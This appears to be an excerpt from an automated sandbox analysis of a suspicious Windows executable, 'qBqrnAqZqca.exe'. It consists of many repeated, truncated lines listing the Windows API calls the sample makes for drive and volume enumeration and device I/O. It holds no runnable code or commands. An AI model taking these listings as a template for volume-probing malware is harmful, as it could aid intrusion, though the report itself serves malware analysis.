Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
